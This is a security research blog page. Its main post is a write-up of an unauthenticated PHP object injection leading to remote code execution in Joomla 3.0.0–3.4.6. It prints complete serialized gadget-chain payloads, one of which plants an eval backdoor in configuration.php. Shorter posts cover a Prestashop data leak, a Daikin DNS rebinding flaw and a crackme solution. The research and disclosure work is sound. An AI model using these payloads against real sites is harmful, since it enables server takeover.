Hacktive Security Blog

Rusty Joomla RCE

undefined

Introduction

During one of our research activities, we discovered an undisclosed PHP Object Injection on Joomla CMS from the release 3.0.0 to the 3.4.6 (releases from 2012 to December 2015) that leads to Remote Code Execution.
A PHP Object Injection was discovered in the wild and patched in the 3.4.5 version (CVE-2015-8562), however, this vulnerability depends also a lot on the PHP release installed becoming not really trusty for all environments.

Comparing this RCE with CVE-2015-8562:
+ It is completely independent from the environment, becoming more reliable;
+ Vulnerable from the 3.0.0 to 3.4.6 (just one more minor release, not so much by the way);
- Few releases vulnerable compared to CVE-2015-8562.

However, the fun part of this vulnerability was the exploitation. There aren’t a lot of blog posts about some more advanced and manual exploitation of PHP Object Injection (except for some good resources from RIPS) so this paper can be useful while exploiting it in other contexts.

How Sessions works

Joomla sessions are stored in the database as PHP Objects and they are handled by PHP session functions. It is an interesting attack vector because sessions are also stored for unauthenticated users so an Object Injection there can lead to unauthenticated RCE.

Functions read() and write() defined in ‘libraries/joomla/session/storage/database.php’ are set by the session_set_save_handler() in order to be used as read and write handlers for the session_start() call at ‘libraries/joomla/session/session.php:__start’

This is an example of a classic Joomla (before 3.4.6) session stored in the database for an unauthenticated user (at table __session):

undefined

There are many objects defined, but the most interesting thing is how input parameters are handled in the session.
If we make a regular action with parameters, these ones and the result message of the action, are stored in the session object like this:

undefined

When we perform POST requests in Joomla we usually have a 303 redirect that will redirect us to the result page. That’s an important note for the exploitation, because the first request (with parameters) will only cause Joomla to perform the action and store (e.g. call the write() function) the session, then the 303 redirect will retrieve (e.g. call the read() function) it and display the message back to the user.

The vulnerability

This is the code for the read and write functions (just remove unnecessary code).

undefined

The write function accept 2 parameters, the session_id (from the cookie) and the serialized object. Before storing data into the database there is an interesting replace of ‘\x00\x2a\x00’ (chr(0).’*’.chr(0)) with ‘\0\0\0’. That’s because MySQL cannot save Null Bytes and $protected variables are prefixed with ‘\x00\x2a\x00’ in the serialized object. 

On the other hand, when reading, the read function will replace ‘\0\0\0’ with ‘\x00\x2a\x00’ in order to reconstruct the original object.

The main issue with this replace is that it’s replacing 3 bytes with 6 bytes:

undefined

This behaviour has been introduced from the 3.0.0 version and affecting Joomla until 3.4.6. Starting from 3.4.7 the piece of code is still present but the session is base64 encoded and stored in the database.

As I said before, we can manipulate the session object through action parameters. In this way, we can inject ‘\0\0\0’ that will be replaced from the read function with 3 bytes, invalidating the object because of incorrect size.
If we take the login form as a target and we put ‘my\0\0\0username’ in the username field, we end up with the following part of object in the database:

s:8:s:"username";s:16:"my\0\0\0username"

When the session object is read from the read function, ‘\0\0\0’ will be replaced as demonstrated before, assembling the following value:

s:8:s:"username";s:16:"myN*Nusername" --> Invalid Size

The replaced string is only 13 bytes long but the declared string size is still 16!
We can now take this ‘overflow’ to our advantage and forge a new object that will lead us to the final goal... RCE! :)

Exploitation

In order to trigger our arbitrary object and achieve RCE we need two parameters in a row, the first one will cause the ‘overflow’ and the second will contain the last part of the exploit. The perfect target (included in a default installation) is the login form with the ‘username’ and ‘password’ fields.

That’s the plan:
- Overflow the username field with enough ‘\0\0\0’ in order to land in the password field
- Reconstruct a valid object
- Send the exploit
- Trigger the exploit (with the redirect)

We know that we can downsize the string size. By doing that on the username field (that precede the password) we can fake it and let it ends inside the next parameter under our control.

[..]s:8:s:"username";s:10:"MYUSERNAME";s:8:"password";s:10:"MYPASSWORD"[...]

As you can see, the distance from the end of the username value and the start of the password is 27 bytes. The vulnerable replace let us decrease the value with a multiple of 3 (6 bytes - 3 bytes) so we need at least 8 times ‘\0\0\0’ in the username field that will cause a simple padding of 1 extra character in the second parameter in our exploit (in the POC I used 9 times \0\0\0 to be sure).

In bold, what unserialize read for the ‘username’:

(in database)
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPASSWORD"

(after read and replace)
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPASSWORD"

(Achieve Object injection):
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA";s:2:"HS":O:15:"ObjectInjection"[...]

We have a stable way to inject an Object, now it’s the time to craft it.
We can use the payload from the CVE-XXXX exploit as a starting point, however it requires some modification:

O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

This payload will instantiate a JDatabaseDriverMysqli object and assign an array of other objects in the disconnectHandlers attribute (a protected array variable). This is because the defined __destruct of this class will call $this->disconnect(), that leads to an interesting call_user_func_array():

undefined

For each value in the disconnectHandlers array a call_user_func_array() is performed with a reference to the object (&$this) as a parameter. It’s a good gadget, but we only have control over the function call and not on parameters. That’s where SimplePie object came in our help.

In SimplePie::init (declared in libraries/simplepie/simplepie.php) we have different interesting gadgets, like the following:

undefined

This is much more suitable, because we have a call_user_func with both function and parameter values under our control.
However, that’s why I think the original payload wasn’t working, there is a condition that must be met in order to receive this line of code: $this->cache must be declared and $parsed_feed_url[‘scheme’] (the parsed url from $feed_url) needs to contain something.
Bypass this condition was not so difficult. At first, with cache_name_function set to ‘system’, something like ‘https://something/;id’ was enough. The first command fails but the semicolon do the rest.

However, while developing the Metasploit module, I was not so happy about this solution. If the target environment have disabled functions like system, exec, shell_exec, etc., you cannot do a lot with this exploit, and I wanted to make something more suitable for more environments.
So, I moved back to the assert function and see if I could achieve PHP code execution while respecting the condition. The only think the condition is checking for is a string that contains a valid schema (e.g. http:// ), but this will cause a syntax error. In order to bypass it we can chain an OR (||) statement and trap the schema into a variable, like this:

<PHP CODE> || $a=’http//’;

We were limited again against some special characters (like ‘?’) and from the assert function, so we need a way to move on a less restrictive environment. The first idea was to create a php file in the root directory with an eval(), but without the ‘?’ the web server will not interpret our code. A ‘configuration.php’ file is present in the root directory. It is nothing more than a class declaration with configuration parameters in it. We can append an eval at the end of this file and use it to execute PHP code with the following payload:

file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

That will result in the following call:

call_user_func("assert","file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';")

At the end, this is the final object:

s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:125:"file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Now we have everything necessary to develop a working exploit. Putting stuff together, we can send the exploit using the login form, this will store the malicious object into the database.
Then we can follow the redirect from the first response and the payload will be retrieved from the database and unserialized from the session_start() function and .. we got RCE!

Exploit:

https://www.exploit-db.com/exploits/47465

References:

https://nvd.nist.gov/vuln/detail/CVE-2015-8562
https://blog.ripstech.com/2018/woocommerce-php-object-injection/
https://www.php.net/manual/en/ref.session.php

https://www.hacktivesecurity.com

(Alessandro Groppo)

Prestashop <= 1.7.6.0 RC 1 - Insecure Direct Object Reference

During a security assessment, we found an Insecure Direct Object Reference on Prestashop. In particular, the finding could allow an attacker to leak personal information such as first name, last name, phone number, shipping and invoice address.

This vulnerability affects all versions before v1.7.6.0 RC2 and was referred as BUG FIX #14444 in the Changelog. (https://assets.prestashop2.com/en/system/files/ps_releases/changelog_1.7.6.0-rc2.txt)

undefined

The vulnerability resides in the checkout process, during the selection of the delivery and invoice addresses. These addresses are bound to a global incremental ID and are sent without checking that the relative ID belongs to the current user. This could lead to an information leak affecting customers data.

As previously mentioned, all the versions <= 1.7.6.0 RC2 are affected but the payload is not the same for all of them. On older versions (such as v1.6.1.17) addresses can be leaked in the second stage of the checkout process if the "final summary" option is enabled (this option shows delivery and invoice address) before the payment.

In the latest version, in order to leak other personal information the whole checkout process must be completed and then the leaked information will be shown in the orders history.

Timeline:

01/07/2019 : First contact with the Vendor

01/07/2019 : Acknowledge from the vendor

05/07/2019 : Patch released

09/07/2019 : CVE-2019-13461

(Alessandro Groppo)

Daikin Emura Series - Arbitrary Remote Control via DNS Rebinding

There is a lot of hype around DNS rebinding vulnerability and vulnerable IoT devices, including home cameras, air conditioners or climate control devices; this flaw is mainly caused by the lack of origin checking on HTTP requests.

DNS Rebinding Attack

DNS Rebinding allows an attacker who has control on a DNS server to directly access a device inside of the internal network of the victim.

Normally, these kind of attacks are mitigated by the Same-Origin policy header, implemented by most of the browsers, blocking every attempt to load external content that does not belong to the original domain.

The idea of the attack is to configure an evil DNS server to answer to a specific A query returning two different IPs for two consecutive requests; the first one will return the attacker's IP with a short TTL (1 sec), the second one will return the original IP of the device.

Since most browsers use different caching system with different expiration time, a minimum amount of seconds is needed to perform the attack; we will need to let the victim stay on our website for almost 60 seconds (on Firefox, it may change with other browsers).

 

undefined

 

The attack

First, we configure the DNS server using FakeDns tool; we just need one entry for our attack scenario.

NOTE: In our PoC we used NAT addresses, an internet address can be used for the fake DNS server.

undefined

Now the evil DNS server will respond to A query for rebind-example.voidzone.it host, the first parameter before the '%' is the TTL.

Next step is to build an HTML page, entertaining our user with a youtube video and waiting for the timeout; when this occurs, an XMLHttpRequest is sent to the device.

undefined


undefined

And, after 60 seconds we get the response from our Daikin device:

undefined

Video of the attack

 

Fix Available

The vulnerability has been fixed in the version 3.3.6 of the firmware.

Credits

I would like to thank Mr. Pieter-Jan Decherf and the Daikin Europe team for the quick responses and updates on the remediation measures implemented.

Responsible disclosure time-line

  • 25/07/2018 - First contact with Daikin Europe
  • 26/07/2018 - Got response, asking for report
  • 07/08/2018 - Report+PoC sent
  • 08/08/2018 - Vulnerability confirmed
  • 14/09/2018 - Vulnerability will be fixed by the end of October
  • 31/10/2018 - Official update released (firmware 3.3.6)
  • 19/11/2018 - Paper draft has been sent to Daikin Europe team
  • 13/12/2018 - CVE-2018-20139 assigned

Building reversing skills, crackme level 6 [write-up]

I don't usually play CTFs, but this time i wanted to improve my radare2 and reversing skills.
All crackme challanges can be found here.
Levels from 1 to 3 are really entry-level, from 4 ahead start to be interesting.

As the README says: "It's reverse engineering, not cracking.". That means we don't have to patch the binary in order to get the "flag". Instead, we have to reverse engineer it, understand the algorithm, reproduce it and get the right password.

First look

First of all, let’s take a look at what it does just by executing it:

undefined

It’s telling us the usage, so following it we reach a ‘Password KO’:

undefined

Ok, our aim is to guess the password, so let’s open it in radare2 and let’s see what we can get.
Running the command iz, we can inspect for some useful strings:

undefined

We don’t see anything really useful from strings, maybe the string “this_might_be_related”, so let’s appoint it but go ahead, we can return to this string later.

With the afl command from radare2, we can get the functions list:

undefined

The function check_password seems interesting, but first of all let’s see what our main function do.

Main Function

After checking the correct usage of the program, the main call the check_password function and test the result of it.

undefined

If the return value of check_password is different from zero, then it will output “Password KO”. Else, if the return value is 0, it will output “Password OK”.

  • Our aim is to return 0 from check_password, in order to print “Password OK”

Check Password

Password Length

The check_password function checks if the password length is 0x15 (21 in decimal): if the length is different, than it will return -1 to main, resulting in the bad password case.

undefined

If the password length is 0x15, the decryption routine can start.

We can also see some variable initialization that can be useful in further analysis.

  • local_28hinput_pwd - Input password
  • local_4hlen_input - Input password length

We rename these variables to have meaningful names. This will help us later. 

Also we have 2 zero initializations, that we have to take note:

  • local_8h
  • local_10h

So, we can add a condition to get the password:

  • Password must be 0x15 (21) of length

Returning Phase

First to deal with the decryption phase, we want to understand what we are returning back.

undefined

The return value is local_8h, that is the result of the addition with itself and local_11h.

Variables:

  • Local_8hreturn_result - The return value of the function
  • Local_11hsum_return_result - A value that is continually added to the return value
  • Local_10hglobal_index - An index (deduced from the incrementing at the end of the loop)

The condition will jump back (to the loop) if the value of local_10h (the index) is lower than the length of the input password (that must be 0x15).

That’s mean that we are executing this loop 0x15 (21) times.

From these few lines of assembly we can try to produce a more explanation pseudocode:

Pseudocode 1.0 Pseudocode 2.0              
  1. eax = local_11h
  2. local_8h = local_8h + eax
  3. local_10h = local_10h+1
  4. eax = local_10h
  5. if (eax < local_4h)
  6. repeat
  7. else
  8. eax = local_8h
  9. ret
  1. return_result += sum_return_result
  2. global_index += 1
  3. if (global_index < len_input)
  4. repeat
  5. else
  6. return return_result
             

 

If we want to return 0 from the check_password function, return_result must be 0, so also sum_return_result must be 0 at each cycle of the loop.

Decryption Phase

Now we have to deal with the central part of the routine, the decryption.

First of all, this phase is executed 21 times (we know this from the returning stage step described above) and contain:

  • An initialization block.
  • 3 identical loops.
  • Intermediate blocks between the first and second one, the second one and the third one.

After the third loop we have the Returning phase (already described above).
The base concept can be illustrated as follow:

undefined

Init stage

At the init stage we are just initializing sum_return_result with 0, and copying the value of the global index into the local_ch.

Local_ch is a local index of the loop stage, so we can rename it in index

undefined

Loop stage

At this stage, we have a xor operation between each single character of the input password and sum_return_result. The xor result is placed into sum_return_result, and then recalculated with a xor between it and the next character of the input. The ‘indexing’ process is handled by an idiv instruction, that get the reminder between the index of the loop and input_len:

undefined

The flow of the loop stage can be drawn as:

undefinedwhere sum is the abbreviated version of sum_return_result.

In the case of the first loop encountered, where sum_return_result is previously initialized with 0, if we suppose that the first character is an A (0x41 hexadecimal) we have:

0x00 ^ 0x41 = 0x41 [odd]

0x41 ^ 0x41 = 0x00 [even]

0x00 ^ 0x41 = 0x41 [odd]

0x41 ^ 0x41 = 0x0 [even]

That’s mean, if we iterate for 42 times (odd), in sum_return_result we will have the character value. so the output of the first loop will always be a character of our input password.

In the following 2 loops, with sum_result_return modified by the previous one, the flow is the same described above, but the return value is no more the original character, but a xored version of it.

Intermediate stage

In the Intermediate stage, we are xoring the sum_return_result (returned from the loop stage) with a key (obj.key). The result go into sum_return_result. In the second intermediate block (after the second loop), we are doing the same but with a different key (str.this_might_be_interesting).

Then, we are moving into index (the local index used in loop stages) the value of global_index, and jump to the next loop.

undefined

Extract keys

We need to dump both keys used in the xor operation at intermediate levels, in order to write the decryption algorithm.

We can get these keys in different methods, one way is to use the examine command from r2:

undefined

High level

Putting all together, this can be the illustrative flow (semplified):

undefined

To better play and understand the algorithm, i wrote the same algorithm at higher level (python).

The loop, in python, looks like this:

undefined

And we are integrating all like this: undefined

I could delete the index value and use global_index instead, but i prefer to mantain the main structure of the original function

The rest of the code is similar, and included in a global loop (repeating it for 0x15 times).

With some prints at the end of each loop and intermediate blocks, we can get an output like this.

undefined

As we can see, the output of each block (a loop or intermediate) will be a xor operand for the next block.

The “End of global loop sum” will be the value added at the returned result at the end.

So, our aim is to get a 0 here.

The entire global loop can be translated with the following expression:

(((char ^ obj.key) ^ char) ^ str.key) ^ char

We need that this expression returns 0, so we can write an equation:

(((char ^ obj.key) ^ char) ^ str.key) ^ char = 0

Where, at the last XOR, the value of previously operations must be the char value, in order to return 0 :

undefined

We can split this expression in four operations:

  1. char ^ obj.key = res1
  2. res1 ^ char = res2
  3. res2 ^ str.key = res3
  4. res3 ^ char = res_final

If the final result (res_final) must be 0: 

  • The 4th operation must contain in res3 the value of char (a xor with same values is equal to 0)
  • The 3rd operation must return the character value.
  • The 2nd operation must return a value that xored later in operation 3 will return the char value.
  • The 1st operation must return a value that xored in operation 2 and then 3 will return the char value at the last operation.

With this knowledge, we can write the script to generate the password.

Generate the password

Now that we know how our input is “decrypted”, we can generate it with a little script.

undefined

Mainly, this little script will calculate the expression with char values starting from 0x0 to 0x100 (256).

When the result of the expression is equal to 0, then it will append the character to an array that will contain the complete password, and break (skip to next character).

From the script:

  • Obj_key and str_key are the keys extracted before.
  • The first while is 0x15 because is the length of the needed password (and also the length of the key arrays)
  • In the second while, 0x100 is the maximum value to put into a char (is enough to find the correct value).

And the result will be:

undefined

And:

undefined

Got it !

Just for fun

If we execute our previously script (the algorithm in python) with the correct password (dude_you_killed_it_gg), now the output will be:

undefined

As we can see, at the fourth operation we now have the xor between the same character, resulting in 0x0. The same with the second loop and so on until the end of the global loop.

References

https://github.com/wapiflapi/exrs/tree/master/reverse

https://github.com/radare/radare2

 

(Alessandro)

Home ← Older posts